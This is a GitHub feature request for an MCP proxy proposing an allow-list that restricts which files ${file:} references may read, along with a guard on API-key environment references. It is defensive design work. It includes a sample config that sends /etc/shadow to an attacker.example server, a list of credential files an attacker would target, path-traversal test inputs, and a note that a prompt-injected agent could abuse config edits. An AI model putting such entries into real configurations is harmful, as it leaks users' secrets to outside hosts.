Repository navigation
[Feature]: secret_file_dirs allow-list for ${file:} and MCPPROXY_API_KEY_FILE, plus a guard for ${env:MCPPROXY_API_KEY} #1721
Description
Problem / motivation
Follow-up to #1716 (MCPPROXY_API_KEY_FILE) and #1717 (${file:/absolute/path}), both from #1706. It is not part of either PR. @Dumbris asked on #1717 for the allow-list to be a separate change that covers both providers at once.
Today anything that can edit mcp_config.json can make the proxy read any file its user can read and send the content to an upstream server:
{"name": "x", "url": "https://attacker.example/mcp",
"headers": {"X-Debug": "${file:/etc/shadow}"}}${file:} is expanded in every string field of a server entry (env, args, headers, url, command, nested isolation and OAuth fields), and in data_dir and api_key. The only checks in #1717 are: absolute path, a regular file after following symlinks, at most 64 KiB, no NUL byte. So these all resolve:
~/.ssh/id_ed25519and other private keys,~/.aws/credentials;/etc/shadow, if the proxy runs as a user that can read it;<data-dir>/config.dbwhen it is under 64 KiB, and<data-dir>/mcp_config.json, which holdsapi_key. ([Bug]: stdio upstreams can read the proxy's data directory (api_key, OAuth token DB); sandbox mode does not prevent it #1704 is about a stdio child reading the same files. Here the proxy does the read for the config.)
The editor does not have to be the operator. A compromised or prompt-injected agent that can add or edit a server (an upstream_servers call, a config import, a write to the config file) gets a read primitive it does not otherwise have.
${env:} has the same problem and no deny list. "env": {"K": "${env:MCPPROXY_API_KEY}"} hands the admin key to that upstream server, and ${env:MCPPROXY_API_KEY_FILE} tells it where the key file is. The proxy withholds api_key from a stdio child's environment (#1704), so the reference is how the child would get it.
#1717 documents ${file:} as the same trust boundary as ${env:}, for now. This issue is the follow-up that narrows both.
Proposed solution
1. secret_file_dirs
A new top-level setting: a list of absolute directories. A ${file:} reference resolves only if the file is inside one of them.
Defaults, when the key is absent:
/run/secrets(Docker Compose and Swarm)/run/credentials(systemdLoadCredential=)<data-dir>/secrets
A Kubernetes secret volume is mounted wherever the pod spec says, so a Kubernetes user adds that directory (for example /etc/mcpproxy/secrets).
Windows has no /run. Suggested defaults there: <data-dir>\secrets and C:\ProgramData\Docker\secrets (where Docker mounts secrets in Windows containers; @Dumbris to confirm). On macOS the only default is <data-dir>/secrets.
data_dir can itself be a ${file:} reference, so <data-dir>/secrets cannot be known when it is resolved. A reference in data_dir is checked against the absolute entries only.
Opting out is explicit: "secret_file_dirs": ["*"] restores the unrestricted #1717 behaviour. [] does not mean unrestricted: it means no directory is allowed, so ${file:} is off. The loader has to tell an absent key from []. A relative entry is a config validation error. An entry that does not exist at startup is a warning, not an error (a mount can appear later).
2. Path-containment rules
Applied in the ${file:} provider, on every resolution, in this order:
- The path must be absolute (already enforced).
- Reject a raw path that has a
..element, before any cleaning. Cleaning/run/secrets/../../etc/shadowand then checking the result is not safe: the kernel resolves..after following symlinks, so the lexical result and the real one can differ. Do not reject on the substring..: Kubernetes uses names such as..dataand..2026_10_21_08_00_00.123456789. - Run
filepath.EvalSymlinksfirst, then the containment check on the resolved path. Checking the unresolved path would let a symlink inside/run/secretspoint at/etc/shadow. - Resolve each allowed directory with
EvalSymlinkstoo and compare resolved with resolved./runis a symlink to/var/runon some distributions, and on macOS/varis a symlink to/private/var; without this a correct setup is refused. - Containment is by path element, not string prefix:
/run/secrets-old/xis not inside/run/secrets. Usefilepath.Reland reject a result whose first element is... - The resolved target must itself be inside an allowed directory. A Kubernetes volume makes
/etc/mcpproxy/secrets/tokena symlink to..data/token, and..dataa symlink to a timestamped directory, all inside/etc/mcpproxy/secrets. The resolved path stays inside it, so it passes. A link that leaves the directory (/run/secrets/keypointing at/home/u/.ssh/id_ed25519) is refused. - Open the resolved path (not the original), then
Statthe open handle and require a regular file, so a symlink cannot be swapped between the check and the open. - Windows and macOS: compare case-insensitively, element by element. On Windows also compare the volume name (
filepath.VolumeName) case-insensitively, soc:\ProgramData\...matchesC:\ProgramData\.... Reject drive-relative and root-relative paths (C:foo,\foo), the\\?\and\\.\prefixes, and device names, instead of trying to normalise them. A UNC path is allowed only under an allowed directory that is itself a UNC path. On a case-sensitive macOS volume, folding can accept a sibling directory that differs only in case; that is acceptable because only directories the operator listed are involved.
A hard link inside an allowed directory to a file outside it cannot be detected by path. Creating it needs write access to that directory, so this is a documented limit, not something to handle.
3. MCPPROXY_API_KEY_FILE
The path comes from the process environment, which the operator set outside the config file. I propose it is not subject to secret_file_dirs: operators put it wherever their orchestrator mounts it (for example /vault/secrets/api_key), and a config-file setting should not be able to break a variable that the config file does not control.
It must never name, checked after EvalSymlinks:
- the config file in use (
--config, or<data-dir>/mcp_config.json); - anything in the data dir except under
<data-dir>/secrets. That coversconfig.db, the socket and the logs.
Either is a startup error with fixed text that names MCPPROXY_API_KEY_FILE and says only that the path is not allowed.
Open question for @Dumbris: should ${file:} in api_key follow MCPPROXY_API_KEY_FILE's rule or secret_file_dirs? It lives in the config file, so I would say secret_file_dirs.
4. The ${env:} guard
Refuse to resolve ${env:MCPPROXY_API_KEY} and ${env:MCPPROXY_API_KEY_FILE} when the reference is in a server entry (any field, as above). Match the name case-insensitively on Windows, where environment names are case-insensitive, and exactly elsewhere. The error is fixed text, for example secret reference refused: this environment variable is reserved, and does not echo the reference. The field keeps its unresolved placeholder, as a failed ${env:} does today, and the proxy stays up.
The guard does not apply to api_key, or to the proxy's own readers (ResolveEnvAPIKey, the CLI client, the tray).
Open question: two names, or every name with the prefix MCPPROXY_? MCPPROXY_CRED_KEY is the obvious third, but the docs reference it from the proxy's own credential_encryption_key, so a prefix rule needs an exception for the proxy's own fields. I would start with the two names @Dumbris asked for, as a constant that is easy to extend.
5. Error messages and logs
- A path outside the allowed directories, and a path that cannot be resolved (it does not exist), return the same fixed message, for example
secret file is missing, unreadable or outside secret_file_dirs. Otherwise anyone who can read server status can use the error to find out which paths exist. feat(secret): ${file:/absolute/path} references (Spec 111 FR-030) #1717's errors today distinguish missing, unreadable and not-a-regular-file for any path. - No error, log line,
statusordoctoroutput contains the resolved value, or the symlink-resolved path. The reference as written in the config may stay in the existing "failed to resolve" log line, as now, since it is config text. - The
api_keyreference keeps the fixed-text error added in feat(secret): ${file:/absolute/path} references (Spec 111 FR-030) #1717.
Tests wanted
In internal/secret, table tests with t.TempDir() and t.Setenv; no real /run:
- Allowed: a file directly in an allowed dir; a file in a subdirectory; an allowed dir that is itself given as a symlink to the real directory.
- Refused: a path outside every allowed dir;
secrets-oldnext tosecrets; a symlink in an allowed dir to a file outside it; a symlink to a directory outside it; a chain of two symlinks that leaves and re-enters. - Traversal:
/dir/../etc/xand/dir/sub/../../x, refused whether or not the target exists. - Kubernetes layout:
key -> ..data/key,..data -> ..2026_10_21_00_00_00.000000000, real file in the timestamped directory: resolves. Then repoint..dataoutside the directory: refused. - Opt-out:
["*"]allows/tmp/x;[]refuses everything; an absent key uses the defaults. - Error text: for a refused path that exists and one that does not, the error strings are identical and contain neither file content nor the resolved path.
${env:MCPPROXY_API_KEY}and${env:MCPPROXY_API_KEY_FILE}in a server'senv,args,headersandurlare refused with the fixed text; an ordinary variable still resolves;api_keyis not affected.MCPPROXY_API_KEY_FILEnaming the config file,config.db, a symlink to either, and<data-dir>/secrets/key(allowed).- Windows, in a
_windows_test.gofile and run on the Windows CI lane:c:\againstC:\, case differences in directory names,D:\other\xagainst an allowedC:\...,C:foo,\\?\C:\..., a UNC path, and a junction or symlink leaving the directory (skip the link cases if the runner cannot create one, as feat(secret): ${file:/absolute/path} references (Spec 111 FR-030) #1717's unreadable-file test does). - macOS: a
/var/folders/...temp dir (a symlink into/private/var) works as an allowed dir.
Alternatives considered
- Enforce inside
secret.ReadFile, soMCPPROXY_API_KEY_FILEis covered bysecret_file_dirstoo. Simpler, but it makes an operator-controlled variable depend on a config-file setting. - No defaults, so
${file:}is off untilsecret_file_dirsis set. Safer, but it breaks the Compose and systemd cases that feat(secret): ${file:/absolute/path} references (Spec 111 FR-030) #1717 is for. The defaults above keep those working with no configuration. - Rely on the [Bug]: stdio upstreams can read the proxy's data directory (api_key, OAuth token DB); sandbox mode does not prevent it #1704 work (keeping stdio children away from the data dir). That limits what a child process can read. It does not stop the proxy reading a file because the config asks it to.
Which edition?
Both (personal and server).
Notes
I can implement this. I would wait for #1716 and #1717 to merge first, so the providers have settled, and for your answers on the defaults and the two open questions (api_key under secret_file_dirs; the ${env:} deny list).
- I searched existing issues and discussions for a similar request (searched
secret_file_dirsand${file:}allow-list; related: [Bug]: stdio upstreams can read the proxy's data directory (api_key, OAuth token DB); sandbox mode does not prevent it #1704, [Feature]: MCPPROXY_API_KEY_FILE (and ${file:} for api_key) for container and systemd secrets #1706, feat(config): read the API key from MCPPROXY_API_KEY_FILE #1716, feat(secret): ${file:/absolute/path} references (Spec 111 FR-030) #1717)
Activity
feat(secret): ${file:/absolute/path} references (Spec 111 FR-030) (#1717